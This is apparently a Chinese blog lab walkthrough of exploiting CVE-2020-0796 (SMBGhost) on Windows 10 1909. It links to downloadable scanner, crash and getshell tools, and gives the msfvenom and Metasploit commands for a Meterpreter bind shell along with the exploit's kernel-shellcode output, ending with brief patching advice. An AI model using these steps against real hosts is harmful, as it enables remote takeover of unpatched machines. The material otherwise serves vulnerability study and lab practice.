永恒之黑-CVE-2020-0796

漏洞简称:永恒之黑
漏洞编号:CVE-2020-0796
漏洞类型:SMB远程代码执行漏洞(网络服务器445端口攻击)

    漏洞原理:本漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,攻击方可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。永恒之黑一旦被成功利用,其危害不亚于永恒之蓝。

受影响的windows版本

1
2
3
4
5
6
7
8
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

漏洞利用

1.环境准备

靶机:windows10 1909 IP:192.168.1.49(关闭防火墙)

渗透机:kali2-5.10.0

2.POC准备

@所有POC均转载自网络

漏洞检测工具:https://fictory.lanzoui.com/iaqkUtpynhi

蓝屏POC:https://fictory.lanzoui.com/iMpjqtpyemj

漏洞getshell脚本:https://fictory.lanzoui.com/iq6e5tpytkh

漏洞扫描

利用上面下载的漏洞扫描工具扫描网段IP,发现靶机存在该漏洞

直接利用

  1. 运行已下载的蓝屏POC
  2. 发现靶机蓝屏

getshell

  1. 利用kali的msfvenom命令生成木马
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5555 -b '\x00' -i 1 -f python -o exp.py

    说明:
    #-p payload
    #-e 编码方式
    #-i 编码次数
    #-b 在生成的程序中避免出现的值
    #LHOST,LPORT 监听上线的主机IP和端口
    #-f exe 生成EXE格式
    #'\x00'转义字符,对应ascall码中为null,可能会影响木马执行效率,要避免出现。
    #-o [文件名] 将生成数据写入指定文件内
  2. 将getshell脚本工具里面的exploit.py中的user_payload替换掉。保留前面的名字,只替换内容
  3. 打开msf,开启监听
    1
    2
    3
    4
    5
    6
    use exploit/multi/handler
    set lhost [本地主机IP]
    set lport 5555
    set payload windows/x64/meterpreter/bind_tcp
    set rhost [靶机IP]
    exploit
  4. 运行getshell脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    python3 exploit.py -ip 192.168.1.49                                              
    [+] found low stub at phys addr 13000!
    [+] PML4 at 1ad000
    [+] base of HAL heap at fffff79080000000
    [+] found PML4 self-ref entry 198
    [+] found HalpInterruptController at fffff79080001478
    [+] found HalpApicRequestInterrupt at fffff8045fad5bb0
    [+] built shellcode!
    [+] KUSER_SHARED_DATA PTE at ffffcc7bc0000000
    [+] KUSER_SHARED_DATA PTE NX bit cleared!
    [+] Wrote shellcode at fffff78000000950!
    [+] Press a key to execute shellcode!
  5. 漏洞利用成功

漏洞修复建议

  1. 及时安装相应补丁
  2. 关闭smb服务
  3. 开启防火墙